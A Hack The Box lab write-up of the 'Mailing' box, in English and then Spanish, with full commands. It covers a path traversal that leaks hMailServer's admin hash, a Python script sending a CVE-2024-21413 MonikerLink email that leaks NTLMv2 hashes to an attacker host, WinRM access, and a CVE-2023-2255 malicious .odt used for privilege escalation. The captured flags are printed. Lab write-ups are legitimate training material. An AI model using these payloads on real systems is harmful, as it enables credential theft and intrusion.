Mailing — HTB Writeup | The Hack Sparrow

Executive summary — Mailing is a Windows box built around a self-hosted mail server, hMailServer, loosely integrated with a corporate website on IIS. An unvalidated download parameter allows reading files outside the webroot (Path Traversal), exposing hMailServer's configuration file with the unsalted MD5 hash of its administrator. That password, cracked in seconds, turns out to be reused as the credential for a real SMTP mailbox. With that account, an email is sent exploiting CVE-2024-21413 ("MonikerLink", Microsoft Outlook) against employee maya, stealing her NTLMv2 hash as soon as Outlook opens the link. The hash is cracked and grants WinRM access (user.txt). Once inside, a folder watched by an automated task that opens documents with LibreOffice 7.4.0.1 is vulnerable to CVE-2023-2255: a .odt with an injected macro, dropped into that folder, executes with no user interaction at all and adds maya to the local Administrators group (root.txt).

Platform	Hack The Box
Operating system	Windows (Server 2019 / build 19041)
Difficulty	Easy
Status	Retired
Target IP	`10.129.232.39` (`mailing.htb`)

Attack map

[80/HTTP] IIS + "Mailing" landing — download.php?file= leaks paths
   │  Path Traversal -> read hMailServer.INI
   ▼
[hMailServer.INI]  AdministratorPassword (unsalted MD5)
   │  hashcat -m 0 -> "homenetworkingadministrator"
   ▼
[25/SMTP] Password reuse -> administrator@mailing.htb
   │  authenticated SMTP account
   ▼
[CVE-2024-21413] Outlook "MonikerLink" — email with file://\IP\share\poc.doc!important
   │  Maya opens the email -> NTLMv2 captured with Responder
   ▼
[hashcat -m 5600] maya : m4y4ngs4ri
   ▼
[WinRM]  maya (Remote Management Users)  ⇒ user.txt
   │  C:\Important Documents writable by maya, periodically opened with LibreOffice
   ▼
[CVE-2023-2255] LibreOffice 7.4.0.1 — .odt with injected macro
   │  net localgroup Administradores maya /add
   ▼
[ROOT]  maya joins the local Administrators group  ⇒ root.txt

1. Reconnaissance

A full TCP port scan at a high packet rate avoids missing non-standard ports that a top-1000 scan could leave out:

sudo nmap -p- --min-rate 2000 -T4 -Pn 10.129.232.39 -oN nmap/allports.txt

PORT      STATE SERVICE
25/tcp    open  smtp
80/tcp    open  http
110/tcp   open  pop3
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
143/tcp   open  imap
445/tcp   open  microsoft-ds
465/tcp   open  smtps
587/tcp   open  submission
993/tcp   open  imaps
5985/tcp  open  wsman
47001/tcp open  winrm
49664-49668/tcp open  msrpc (dynamic)

An earlier ping's TTL=127 already pointed to Windows (initial TTL 128 minus the single HTB VPN hop). But the most revealing clue is the port pattern: 25/110/143/465/587/993 is the full fingerprint of an MTA + MDA (mail submission and retrieval, cleartext and over TLS). This isn't a side service — it's the box's centerpiece, and it's treated that way from minute one. Version detection against the relevant ports:

sudo nmap -p 25,80,110,135,139,143,445,465,587,993,5985 -sCV -Pn 10.129.232.39 -oN nmap/services.txt

25/tcp   smtp     hMailServer smtpd          (banner: mailing.htb)
80/tcp   http     Microsoft IIS httpd 10.0   -> redirects to http://mailing.htb
110/tcp  pop3     hMailServer pop3d
143/tcp  imap     hMailServer imapd
465/tcp  ssl/smtp hMailServer smtpd          (cert CN=mailing.htb, O="Mailing Ltd")
5985/tcp http     Microsoft HTTPAPI 2.0      -> WinRM
Service Info: Host: mailing.htb; OS: Windows

The mail software is hMailServer, an open-source MTA/MDA for Windows common in small setups; the web server is IIS 10. We add the vhost to /etc/hosts so the certificate and redirects behave normally:

echo '10.129.232.39 mailing.htb' | sudo tee -a /etc/hosts

1.1 Web enumeration

The home page is a corporate landing page ("Mailing — The ultimate mail server"). Its HTML yields two pieces of offensive value: the team's names (candidate domain usernames) and a download link with a parameter:

curl -s http://mailing.htb/ | grep -ioE '(href|src)="[^"]*"' | sort -u

href="download.php?file=instructions.pdf"
src="assets/mayabendito.jpg"
...

The team shown on the site — Ruy Alonso (IT), Maya Bendito (Support), Gregory Smith (CEO) — gives candidate usernames (ruy, maya, gregory) that prove useful later. But the critical find is the file parameter: any endpoint that serves files by a client-supplied name is a classic candidate for Path Traversal / Local File Inclusion if it doesn't normalize the path before opening the file.

2. Path Traversal -> hMailServer credentials

download.php?file= serves files by name with no apparent control. In a default 32-bit hMailServer install, the configuration file lives at C:\Program Files (x86)\hMailServer\Bin\hMailServer.INI. We try escaping the downloads directory with a long sequence of ../ (enough to reach the disk root without knowing the exact webroot depth) and pointing at that path:

curl -s "http://mailing.htb/download.php?file=../../../../Program%20Files%20(x86)/hMailServer/Bin/hMailServer.INI"

[Directories]
ProgramFolder=C:\Program Files (x86)\hMailServer
...
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Type=MSSQLCE
Username=
Password=0a9f8ad8bf896b501dde74f08efd7e4c
PasswordEncryption=1

Path Traversal confirmed: we read a file outside the webroot with no authentication at all. The valuable bit is AdministratorPassword — the hash of hMailServer's own admin-panel password. hMailServer stores this specific password as unsalted MD5 (the PasswordEncryption=1 flag only affects the database password, not this one), making it directly crackable with a dictionary attack.

echo '841bb5acfa6779ae432fd7a4e6600ba7' > hmail_admin.hash
hashcat -m 0 -a 0 hmail_admin.hash /usr/share/wordlists/rockyou.txt

841bb5acfa6779ae432fd7a4e6600ba7:homenetworkingadministrator

hMailServer administrator password: homenetworkingadministrator. A well-known design flaw in hMailServer: any arbitrary file read reaching the .INI directly compromises the mail server's admin account.

3. Credential reuse -> SMTP account

The hMailServer administrator password is, in theory, only for the local admin console (a Windows GUI, not exposed over the network). But it's worth checking whether it's reused as a mailbox password, which would allow SMTP/IMAP/POP3 authentication. We try AUTH LOGIN against SMTP with phase 1's candidate users and the freshly cracked password:

import smtplib
pw = "homenetworkingadministrator"
for acct in ["maya@mailing.htb", "ruy@mailing.htb", "administrator@mailing.htb"]:
    try:
        s = smtplib.SMTP("10.129.232.39", 25, timeout=10)
        s.ehlo(); s.login(acct, pw)
        print(f"[+] OK: {acct}")
        s.quit()
    except Exception as e:
        print(f"[-] {acct}: {str(e)[:50]}")

[+] SUCCESS SMTP AUTH: administrator@mailing.htb : homenetworkingadministrator

Valid SMTP credential: administrator@mailing.htb : homenetworkingadministrator. We now have an authenticated mail account — next, we turn this into system access.

⚠️ Watch out for hMailServer's auto-ban. hMailServer ships with brute-force protection enabled by default: after a few failed login attempts it temporarily bans the source IP (connections close with "Connection unexpectedly closed"). Keep the number of tested accounts to a minimum; if the ban triggers, wait a few minutes for it to lift. Here, testing a handful of users already triggered the ban, and the next step's email had to wait until it cleared.

4. Foothold — CVE-2024-21413 (Microsoft Outlook "MonikerLink")

4.1 The vulnerability

CVE-2024-21413, dubbed the "MonikerLink Bug" by Check Point, is a Microsoft Outlook vulnerability. When Outlook processes a file://-type hyperlink with a ! character followed by arbitrary text appended, the MonikerLink component of the Component Object Model (COM) handles the path insecurely:

It bypasses Protected View, the barrier that normally opens remote resources in restricted mode (no macros, no automatic authentication).
It forces Outlook to reach the remote resource pointed at by the link's UNC path, with no warning to the user that it's a network path.

If the path points to an SMB share we control (\\OUR_IP\share\...), Windows will automatically authenticate over NTLM against our server — the exact same behavior exploited by any classic SMB hash-capture technique (a malicious .lnk or .url), but triggered from inside an email with nothing more than a hover or a click on the link. The payload inside the email's HTML body looks like this:

<a href="file:///\\<ATTACKER_IP>\share\poc.doc!important">Click here</a>

The !important after the UNC path is what triggers the bug: it's what MonikerLink's parser misinterprets, bypassing the safety checks a normal file:// link would otherwise get.

4.2 Who opens the email

The instructions PDF, downloaded via the same download.php?file=instructions.pdf endpoint used for the traversal, drops an explicit hint:

Account setup ... In my case I am using user:password.
After that Maya should see our mail.

→ Maya reads her mail with an Outlook client that polls the mailbox periodically. She's our target.

4.3 Exploitation

Step 1 — stand up an SMB/HTTP capture server with Responder, listening on the HTB VPN interface:

sudo responder -I tun0

Responder spins up listeners on 445/139 (SMB) and 80, among others, waiting for incoming NTLM authentications.

Step 2 — send the malicious email, authenticated as administrator (the SMTP account from phase 3). Since recipient maya@mailing.htb is local to the server itself, hMailServer delivers it straight to her mailbox without ever leaving the box:

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

ATT  = "<ATTACKER_IP>"        # our VPN IP (tun0)
SRV  = "10.129.232.39"
user = "administrator@mailing.htb"
pw   = "homenetworkingadministrator"
rcpt = "maya@mailing.htb"

msg = MIMEMultipart('alternative')
msg['Subject'] = "Security update - action required"
msg['From'], msg['To'] = user, rcpt

link = f"file:///\\\\{ATT}\\share\\poc.doc"
html = f'<html><body><h1><a href="{link}!important">Please review this document.</a></h1></body></html>'
msg.attach(MIMEText("Please read in HTML.", 'plain'))
msg.attach(MIMEText(html, 'html'))

s = smtplib.SMTP(SRV, 25, timeout=20)
s.ehlo(); s.login(user, pw)
s.sendmail(user, [rcpt], msg.as_string()); s.quit()
print("[+] MonikerLink email sent to", rcpt)

[+] Malicious MonikerLink email sent to maya@mailing.htb

The public reference PoC is xaitax/CVE-2024-21413. Here a self-built sender is used to control SMTP auth and the local recipient directly, instead of relying on an external relay.

Step 3 — wait for Maya's client to open the email. Within a few minutes, Responder captures the NetNTLMv2 hash:

[SMB] NTLMv2-SSP Client   : 10.129.232.39
[SMB] NTLMv2-SSP Username : MAILING\maya
[SMB] NTLMv2-SSP Hash     : maya::MAILING:a4fe5ed6fb2915c7:F81F2FAAC1...

The hash is saved to /usr/share/responder/logs/SMB-NTLMv2-SSP-10.129.232.39.txt.

4.4 Cracking the hash

grep -i '^maya' /usr/share/responder/logs/SMB-NTLMv2-SSP-10.129.232.39.txt | sort -u > maya_ntlmv2.txt
hashcat -m 5600 -a 0 maya_ntlmv2.txt /usr/share/wordlists/rockyou.txt

MAYA::MAILING:...:m4y4ngs4ri

Domain/local credentials: maya : m4y4ngs4ri.

5. User — WinRM access

maya belongs to the Remote Management Users group, so WinRM (port 5985) is directly usable with the credentials just obtained. We validate first with netexec and then open an interactive session:

nxc winrm 10.129.232.39 -u maya -p 'm4y4ngs4ri'

WINRM  10.129.232.39  5985  MAILING  [+] MAILING\maya:m4y4ngs4ri (Pwn3d!)

evil-winrm -i 10.129.232.39 -u maya -p 'm4y4ngs4ri'

*Evil-WinRM* PS C:\Users\maya\Documents> whoami
mailing\maya
*Evil-WinRM* PS C:\Users\maya\Documents> type C:\Users\maya\Desktop\user.txt
42a5b0b772374910334717423385da36

🏁 user.txt: 42a5b0b772374910334717423385da36

6. Privilege escalation — CVE-2023-2255 (LibreOffice)

6.1 Finding the vector

Listing installed software turns up LibreOffice:

cmd /c dir "C:\Program Files"
Get-Content "C:\Program Files\LibreOffice\program\version.ini"

<DIR>  LibreOffice
MsiProductVersion=7.4.0.1

LibreOffice 7.4.0.1 is vulnerable to CVE-2023-2255: "Improper access control in the formula/macro handling of LibreOffice". A crafted document can embed a linked object or image that, once the document is opened, runs an embedded script/macro with no user interaction or warning at all — LibreOffice trusts the object's link instead of treating it as untrusted content. It affects versions before 7.4.7 and 7.5.3.

For this to matter, we need a higher-privileged user to open a document we control. We look for unusual directories at the disk root:

cmd /c dir C:\

<DIR> cleanup
<DIR> Important Documents    <-- interesting

We check the permissions on C:\Important Documents:

cmd /c icacls "C:\Important Documents"

C:\Important Documents MAILING\maya:(OI)(CI)(M)                 <-- maya: Modify
                       BUILTIN\Administradores:(I)(OI)(CI)(F)
                       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)

maya has Modify (M) permission on the folder. The pattern is clear: a privileged task or user (localadmin) periodically opens whatever documents land in C:\Important Documents with LibreOffice. Drop a malicious .odt there and its code runs with that user's privileges — the same "watched folder processed by a higher-privileged account than whoever can write to it" pattern seen across many permission-misconfiguration escalations.

6.2 Building the malicious document

We use elweth-sec/CVE-2023-2255, which injects a command into a .odt from a template:

git clone https://github.com/elweth-sec/CVE-2023-2255.git
cd CVE-2023-2255
python3 CVE-2023-2255.py \
  --cmd 'net localgroup Administradores maya /add' \
  --output pwn.odt

File pwn.odt has been created !

🌐 Spanish locale. The system is set up in Spanish, so the local administrators group is named Administradores (not Administrators). The injected command adds maya to that local group — the exact group name matters here: net localgroup Administrators on this box would silently fail.

6.3 Deployment and trigger

We upload the document to the watched folder from maya's own evil-winrm session:

upload pwn.odt "C:\Important Documents\pwn.odt"

Then wait for the task to open the document, polling group membership until maya shows up as an administrator:

until nxc winrm 10.129.232.39 -u maya -p 'm4y4ngs4ri' \
      -x 'net localgroup Administradores' 2>/dev/null | grep -qi 'maya';
do sleep 20; done
echo "[+] maya is now in Administradores"

Within a couple of minutes, the privileged user opens pwn.odt, the macro runs, and maya joins the Administradores group.

6.4 Reading root.txt

Authenticating over WinRM again, maya now gets a token with the full administrators group attached — a network logon for a user already in local Administrators doesn't suffer the UAC token filtering that an interactive logon would — granting access to other users' profiles. The local administrator's home is C:\Users\localadmin:

nxc winrm 10.129.232.39 -u maya -p 'm4y4ngs4ri' \
    -x 'whoami & type C:\Users\localadmin\Desktop\root.txt'

mailing\maya
102cd12f81f7a6df061ca1075f342fd7

🏁 root.txt: 102cd12f81f7a6df061ca1075f342fd7

6.5 Cleanup

Good pentest hygiene: remove the artifact dropped on the system.

nxc winrm 10.129.232.39 -u maya -p 'm4y4ngs4ri' -x 'del "C:\Important Documents\pwn.odt"'

Vulnerability summary

Phase	Component	Vulnerability	Impact
File access	`download.php?file=`	Path Traversal — the parameter is neither validated nor normalized	Arbitrary file read on the system (CWE-22)
Credentials	`hMailServer.INI`	Unsalted MD5 hash of the hMailServer administrator, exposed via the traversal	Trivial cracking of the admin password (CWE-916 / CWE-327)
Reuse	SMTP (`administrator@mailing.htb`)	The hMailServer admin-panel password is reused as a mailbox credential	Authenticated SMTP account for the attacker (CWE-521)
Foothold	Microsoft Outlook	CVE-2024-21413 — MonikerLink bypasses Protected View on `file://...!` links	Forced NTLM authentication -> NTLMv2 hash theft from `maya` (CWE-451)
Lateral movement	WinRM	Valid `maya` credentials, member of Remote Management Users	Interactive shell as `maya` (user.txt)
PrivEsc	`C:\Important Documents` + LibreOffice 7.4.0.1	Modify permission for a standard user on a folder processed by an admin account + CVE-2023-2255 (macro execution with no interaction)	Escalation to local Administrators (root.txt) (CWE-732 / CWE-94)

Lessons learned

A file-download endpoint that takes a name/path as a parameter must validate it against an allowlist and use basename() or equivalent, confining access to one specific directory — never concatenate user input directly into a filesystem path.
Storing a secret as an unsalted MD5 hash (even "just" for a local admin panel) is a bet that no other bug will ever expose that file — and a single Path Traversal is enough to lose that bet.
Password reuse between an admin panel and a service account (mail, in this case) multiplies the blast radius of any leak: one compromised credential becomes two distinct access vectors.
CVE-2024-21413 (MonikerLink) is a reminder that a file:// link in a mail client isn't harmless: apply Outlook's February 2024 patch, and as an additional mitigation, block outbound SMB (445) to the Internet to prevent outbound NTLM authentication.
An automated task that opens documents dropped by low-privilege users with an administrative account is a privilege escalation waiting to happen — that processing should run with a least-privilege account inside an isolated environment, and the watched folder should never be writable by an account that benefits from the escalation.
CVE-2023-2255 shows why an office suite must treat a document's linked OLE objects as potentially hostile content: updating LibreOffice to >= 7.4.7 / >= 7.5.3 closes the no-interaction macro execution path.

Resumen ejecutivo — Mailing es una caja Windows que gira alrededor de un servidor de correo autoalojado, hMailServer, mal integrado con una web corporativa en IIS. Un parametro de descarga sin validar permite leer ficheros fuera del webroot (Path Traversal), lo que expone el fichero de configuracion de hMailServer con el hash MD5 sin sal de su administrador. Esa contrasena, crackeada en segundos, resulta estar reutilizada como credencial de un buzon SMTP real. Con esa cuenta se envia un correo que explota CVE-2024-21413 ("MonikerLink", Microsoft Outlook) contra la empleada maya, robando su hash NTLMv2 en cuanto Outlook abre el enlace. El hash se crackea y da acceso por WinRM (user.txt). Ya dentro, una carpeta vigilada por una tarea automatizada que abre documentos con LibreOffice 7.4.0.1 es vulnerable a CVE-2023-2255: un .odt con una macro inyectada, depositado en esa carpeta, se ejecuta sin interaccion del usuario y anade a maya al grupo de Administradores (root.txt).

Plataforma	Hack The Box
Sistema operativo	Windows (Server 2019 / build 19041)
Dificultad	Easy
Estado	Retired
IP objetivo	`10.129.232.39` (`mailing.htb`)

Mapa del ataque

[80/HTTP] IIS + landing "Mailing" — download.php?file= filtra rutas
   │  Path Traversal -> lectura de hMailServer.INI
   ▼
[hMailServer.INI]  AdministratorPassword (MD5 sin sal)
   │  hashcat -m 0 -> "homenetworkingadministrator"
   ▼
[25/SMTP] Reutilizacion de contrasena -> administrator@mailing.htb
   │  cuenta SMTP autenticada
   ▼
[CVE-2024-21413] Outlook "MonikerLink" — correo con file://\IP\share\poc.doc!important
   │  Maya abre el correo -> NTLMv2 capturado con Responder
   ▼
[hashcat -m 5600] maya : m4y4ngs4ri
   ▼
[WinRM]  maya (Remote Management Users)  ⇒ user.txt
   │  C:\Important Documents escribible por maya, abierto periodicamente con LibreOffice
   ▼
[CVE-2023-2255] LibreOffice 7.4.0.1 — .odt con macro inyectada
   │  net localgroup Administradores maya /add
   ▼
[ROOT]  maya en Administradores locales  ⇒ root.txt

1. Reconocimiento

Un escaneo TCP completo a alta tasa de paquetes evita perder tiempo con un top-1000 que podria dejar fuera puertos no estandar:

sudo nmap -p- --min-rate 2000 -T4 -Pn 10.129.232.39 -oN nmap/allports.txt

PORT      STATE SERVICE
25/tcp    open  smtp
80/tcp    open  http
110/tcp   open  pop3
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
143/tcp   open  imap
445/tcp   open  microsoft-ds
465/tcp   open  smtps
587/tcp   open  submission
993/tcp   open  imaps
5985/tcp  open  wsman
47001/tcp open  winrm
49664-49668/tcp open  msrpc (dinamicos)

El TTL=127 de un ping previo ya adelantaba Windows (TTL inicial 128 menos el salto de la VPN de HTB). Pero lo mas revelador es el patron de puertos: 25/110/143/465/587/993 es la huella completa de un MTA + MDA (envio y recogida de correo, en claro y sobre TLS). Esto no es un servicio de correo accesorio: es el centro de la maquina, y asi se trata desde el primer minuto. Detectamos versiones sobre los puertos relevantes:

sudo nmap -p 25,80,110,135,139,143,445,465,587,993,5985 -sCV -Pn 10.129.232.39 -oN nmap/services.txt

25/tcp   smtp     hMailServer smtpd          (banner: mailing.htb)
80/tcp   http     Microsoft IIS httpd 10.0   -> redirige a http://mailing.htb
110/tcp  pop3     hMailServer pop3d
143/tcp  imap     hMailServer imapd
465/tcp  ssl/smtp hMailServer smtpd          (cert CN=mailing.htb, O="Mailing Ltd")
5985/tcp http     Microsoft HTTPAPI 2.0      -> WinRM
Service Info: Host: mailing.htb; OS: Windows

El software de correo es hMailServer, un MTA/MDA open source para Windows muy usado en entornos pequenos; el servidor web es IIS 10. Anadimos el vhost a /etc/hosts para que el certificado y las redirecciones funcionen con normalidad:

echo '10.129.232.39 mailing.htb' | sudo tee -a /etc/hosts

1.1 Enumeracion web

La pagina principal es una landing corporativa ("Mailing — The ultimate mail server"). Del HTML se extraen dos datos con valor ofensivo: los nombres del equipo (posibles usuarios del dominio) y un enlace de descarga con parametro:

curl -s http://mailing.htb/ | grep -ioE '(href|src)="[^"]*"' | sort -u

href="download.php?file=instructions.pdf"
src="assets/mayabendito.jpg"
...

El equipo mostrado en la web — Ruy Alonso (IT), Maya Bendito (Support), Gregory Smith (CEO) — da candidatos de usuario (ruy, maya, gregory) utiles mas adelante. Pero el hallazgo critico es el parametro file: cualquier endpoint que sirve ficheros por nombre proporcionado por el cliente es un candidato clasico a Path Traversal / Local File Inclusion si no normaliza la ruta antes de abrir el fichero.

2. Path Traversal -> credenciales de hMailServer

download.php?file= entrega archivos por nombre sin aparente control. En una instalacion por defecto de hMailServer en 32 bits, el fichero de configuracion vive en C:\Program Files (x86)\hMailServer\Bin\hMailServer.INI. Probamos a salir del directorio de descargas con una secuencia larga de ../ (suficiente para llegar a la raiz del disco sin saber la profundidad exacta del webroot) y apuntar a esa ruta:

curl -s "http://mailing.htb/download.php?file=../../../../Program%20Files%20(x86)/hMailServer/Bin/hMailServer.INI"

[Directories]
ProgramFolder=C:\Program Files (x86)\hMailServer
...
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Type=MSSQLCE
Username=
Password=0a9f8ad8bf896b501dde74f08efd7e4c
PasswordEncryption=1

Path Traversal confirmado: hemos leido un fichero fuera del webroot sin ninguna autenticacion. El dato jugoso es AdministratorPassword — el hash de la contrasena del panel de administracion de hMailServer. hMailServer guarda esa contrasena concreta como MD5 sin sal (la clave PasswordEncryption=1 solo afecta a la contrasena de la base de datos, no a esta), por lo que es directamente crackeable por fuerza bruta de diccionario.

echo '841bb5acfa6779ae432fd7a4e6600ba7' > hmail_admin.hash
hashcat -m 0 -a 0 hmail_admin.hash /usr/share/wordlists/rockyou.txt

841bb5acfa6779ae432fd7a4e6600ba7:homenetworkingadministrator

Contrasena del administrador de hMailServer: homenetworkingadministrator. Un fallo de diseno bien conocido en hMailServer: cualquier lectura arbitraria de ficheros que alcance el .INI compromete directamente la cuenta de administracion del servidor de correo.

3. Reutilizacion de credenciales -> cuenta SMTP

La contrasena del administrador de hMailServer es, en principio, solo para la consola de administracion local (una GUI de Windows, no expuesta por red). Pero merece la pena comprobar si esta reutilizada como contrasena de algun buzon de correo, lo que permitiria autenticarse por SMTP/IMAP/POP3. Probamos AUTH LOGIN contra el SMTP con los usuarios candidatos de la fase 1 y la contrasena recien crackeada:

import smtplib
pw = "homenetworkingadministrator"
for acct in ["maya@mailing.htb", "ruy@mailing.htb", "administrator@mailing.htb"]:
    try:
        s = smtplib.SMTP("10.129.232.39", 25, timeout=10)
        s.ehlo(); s.login(acct, pw)
        print(f"[+] OK: {acct}")
        s.quit()
    except Exception as e:
        print(f"[-] {acct}: {str(e)[:50]}")

[+] SUCCESS SMTP AUTH: administrator@mailing.htb : homenetworkingadministrator

Credencial SMTP valida: administrator@mailing.htb : homenetworkingadministrator. Ya tenemos una cuenta de correo autenticada — el siguiente paso es convertir eso en acceso al sistema operativo.

⚠️ Cuidado con el auto-ban de hMailServer. hMailServer trae proteccion anti-fuerza-bruta activada por defecto: tras unos pocos intentos fallidos de login, banea temporalmente la IP de origen (las conexiones se cierran con "Connection unexpectedly closed"). Hay que probar el minimo de cuentas posible; si salta el ban basta con esperar unos minutos a que se desbloquee. En este caso, probar un puñado de usuarios ya disparo el ban y hubo que esperar antes de poder enviar el correo del siguiente paso.

4. Foothold — CVE-2024-21413 (Microsoft Outlook "MonikerLink")

4.1 La vulnerabilidad

CVE-2024-21413, bautizada "MonikerLink Bug" por Check Point, es una vulnerabilidad en Microsoft Outlook. Cuando Outlook procesa un hiperenlace de tipo file:// al que se le anade un caracter ! seguido de texto arbitrario, el componente MonikerLink del Component Object Model (COM) procesa la ruta de forma insegura:

Se evade la Protected View, la barrera que normalmente abre recursos remotos en modo restringido (sin macros, sin autenticacion automatica).
Se fuerza a Outlook a acceder al recurso remoto indicado en la ruta UNC del enlace, sin avisar al usuario de que se trata de una ruta de red.

Si la ruta apunta a un recurso SMB bajo nuestro control (\\NUESTRA_IP\share\...), Windows intentara autenticarse automaticamente por NTLM contra nuestro servidor — exactamente el mismo comportamiento que explota cualquier captura clasica de hash por SMB (como un .lnk o un .url malicioso), pero disparado desde dentro de un correo con solo pasar el raton o un clic sobre el enlace. El payload en el cuerpo HTML del correo tiene esta forma:

<a href="file:///\\<ATTACKER_IP>\share\poc.doc!important">Pincha aqui</a>

El !important tras la ruta UNC es la clave que dispara el bug: es lo que el parser de MonikerLink interpreta mal, saltandose las comprobaciones de seguridad previstas para un file:// normal.

4.2 Quien abre el correo

En el PDF de instrucciones descargado via el mismo download.php?file=instructions.pdf que ya habiamos usado para el traversal hay una pista explicita:

Account setup ... In my case I am using user:password.
After that Maya should see our mail.

→ Maya lee el correo con un cliente Outlook que revisa el buzon de forma periodica. Es nuestra victima.

4.3 Explotacion

Paso 1 — levantar un servidor SMB/HTTP capturador con Responder, escuchando en la interfaz de la VPN de HTB:

sudo responder -I tun0

Responder levanta listeners en 445/139 (SMB) y 80, entre otros, a la espera de autenticaciones NTLM entrantes.

Paso 2 — enviar el correo malicioso, autenticados como administrator (la cuenta SMTP conseguida en la fase 3). Como el destinatario maya@mailing.htb es local al propio servidor, hMailServer lo entrega directamente en su buzon sin salir a Internet:

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

ATT  = "<ATTACKER_IP>"        # nuestra IP de VPN (tun0)
SRV  = "10.129.232.39"
user = "administrator@mailing.htb"
pw   = "homenetworkingadministrator"
rcpt = "maya@mailing.htb"

msg = MIMEMultipart('alternative')
msg['Subject'] = "Security update - action required"
msg['From'], msg['To'] = user, rcpt

link = f"file:///\\\\{ATT}\\share\\poc.doc"
html = f'<html><body><h1><a href="{link}!important">Please review this document.</a></h1></body></html>'
msg.attach(MIMEText("Please read in HTML.", 'plain'))
msg.attach(MIMEText(html, 'html'))

s = smtplib.SMTP(SRV, 25, timeout=20)
s.ehlo(); s.login(user, pw)
s.sendmail(user, [rcpt], msg.as_string()); s.quit()
print("[+] Correo MonikerLink enviado a", rcpt)

[+] Malicious MonikerLink email sent to maya@mailing.htb

El PoC publico de referencia es xaitax/CVE-2024-21413. Aqui se usa un emisor propio para controlar la autenticacion SMTP y el destinatario local, en vez de depender de un relay externo.

Paso 3 — esperar a que el cliente de Maya abra el correo. A los pocos minutos, Responder captura el NetNTLMv2:

[SMB] NTLMv2-SSP Client   : 10.129.232.39
[SMB] NTLMv2-SSP Username : MAILING\maya
[SMB] NTLMv2-SSP Hash     : maya::MAILING:a4fe5ed6fb2915c7:F81F2FAAC1...

El hash queda guardado en /usr/share/responder/logs/SMB-NTLMv2-SSP-10.129.232.39.txt.

4.4 Crackeo del hash

grep -i '^maya' /usr/share/responder/logs/SMB-NTLMv2-SSP-10.129.232.39.txt | sort -u > maya_ntlmv2.txt
hashcat -m 5600 -a 0 maya_ntlmv2.txt /usr/share/wordlists/rockyou.txt

MAYA::MAILING:...:m4y4ngs4ri

Credenciales de dominio/local: maya : m4y4ngs4ri.

5. User — acceso por WinRM

maya pertenece al grupo Remote Management Users, asi que podemos usar WinRM (puerto 5985) directamente con las credenciales recien obtenidas. Validamos primero con netexec y despues abrimos sesion interactiva:

nxc winrm 10.129.232.39 -u maya -p 'm4y4ngs4ri'

WINRM  10.129.232.39  5985  MAILING  [+] MAILING\maya:m4y4ngs4ri (Pwn3d!)

evil-winrm -i 10.129.232.39 -u maya -p 'm4y4ngs4ri'

*Evil-WinRM* PS C:\Users\maya\Documents> whoami
mailing\maya
*Evil-WinRM* PS C:\Users\maya\Documents> type C:\Users\maya\Desktop\user.txt
42a5b0b772374910334717423385da36

🏁 user.txt: 42a5b0b772374910334717423385da36

6. Escalada de privilegios — CVE-2023-2255 (LibreOffice)

6.1 Enumeracion del vector

Listamos el software instalado y encontramos LibreOffice:

cmd /c dir "C:\Program Files"
Get-Content "C:\Program Files\LibreOffice\program\version.ini"

<DIR>  LibreOffice
MsiProductVersion=7.4.0.1

LibreOffice 7.4.0.1 es vulnerable a CVE-2023-2255: "Improper access control in the formula/macro handling of LibreOffice". Un documento manipulado puede incrustar un objeto o imagen enlazada que, al abrirse el documento, ejecuta un script/macro embebido sin ninguna interaccion ni advertencia del usuario — LibreOffice confia en el enlace del objeto en vez de tratarlo como contenido no fiable. Afecta a versiones anteriores a 7.4.7 y 7.5.3.

Para que esto sea util necesitamos que un usuario con mas privilegios abra un documento que nosotros controlemos. Buscamos directorios inusuales en la raiz del disco:

cmd /c dir C:\

<DIR> cleanup
<DIR> Important Documents    <-- interesante

Comprobamos los permisos de C:\Important Documents:

cmd /c icacls "C:\Important Documents"

C:\Important Documents MAILING\maya:(OI)(CI)(M)                 <-- maya: Modify
                       BUILTIN\Administradores:(I)(OI)(CI)(F)
                       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)

maya tiene permiso Modify (M) sobre la carpeta. El patron es claro: hay una tarea o usuario privilegiado (localadmin) que periodicamente abre los documentos que se depositan en C:\Important Documents con LibreOffice. Si dejamos ahi un .odt malicioso, su codigo se ejecutara con los privilegios de ese usuario — el mismo patron de "carpeta vigilada por una tarea automatizada con mas privilegios que quien puede escribir en ella" que aparece en muchas escaladas por mala configuracion de permisos.

6.2 Generacion del documento malicioso

Usamos el exploit de elweth-sec/CVE-2023-2255, que inyecta un comando dentro de un .odt a partir de una plantilla:

git clone https://github.com/elweth-sec/CVE-2023-2255.git
cd CVE-2023-2255
python3 CVE-2023-2255.py \
  --cmd 'net localgroup Administradores maya /add' \
  --output pwn.odt

File pwn.odt has been created !

🌐 Locale en espanol. El sistema esta configurado en espanol, por lo que el grupo de administradores local se llama Administradores (no Administrators). El comando inyectado anade a maya a ese grupo local — el nombre exacto del grupo importa: un net localgroup Administrators en este sistema fallaria en silencio.

6.3 Despliegue y disparo

Subimos el documento a la carpeta vigilada desde la propia sesion de evil-winrm de maya:

upload pwn.odt "C:\Important Documents\pwn.odt"

Y esperamos a que la tarea abra el documento, monitorizando la pertenencia al grupo hasta que maya aparezca como administradora:

until nxc winrm 10.129.232.39 -u maya -p 'm4y4ngs4ri' \
      -x 'net localgroup Administradores' 2>/dev/null | grep -qi 'maya';
do sleep 20; done
echo "[+] maya ya esta en Administradores"

Al cabo de un par de minutos, el usuario privilegiado abre pwn.odt, la macro se ejecuta y maya entra en el grupo Administradores.

6.4 Lectura de root.txt

Al autenticarnos de nuevo por WinRM, maya recibe un token con el grupo de administradores completo — un logon de red de un usuario que ya pertenece a Administradores locales no sufre el filtrado de token de UAC que si aplicaria a un logon interactivo — lo que da acceso a los perfiles de otros usuarios. El home del administrador local es C:\Users\localadmin:

nxc winrm 10.129.232.39 -u maya -p 'm4y4ngs4ri' \
    -x 'whoami & type C:\Users\localadmin\Desktop\root.txt'

mailing\maya
102cd12f81f7a6df061ca1075f342fd7

🏁 root.txt: 102cd12f81f7a6df061ca1075f342fd7

6.5 Limpieza

Buena higiene de pentest: eliminamos el artefacto que dejamos en el sistema.

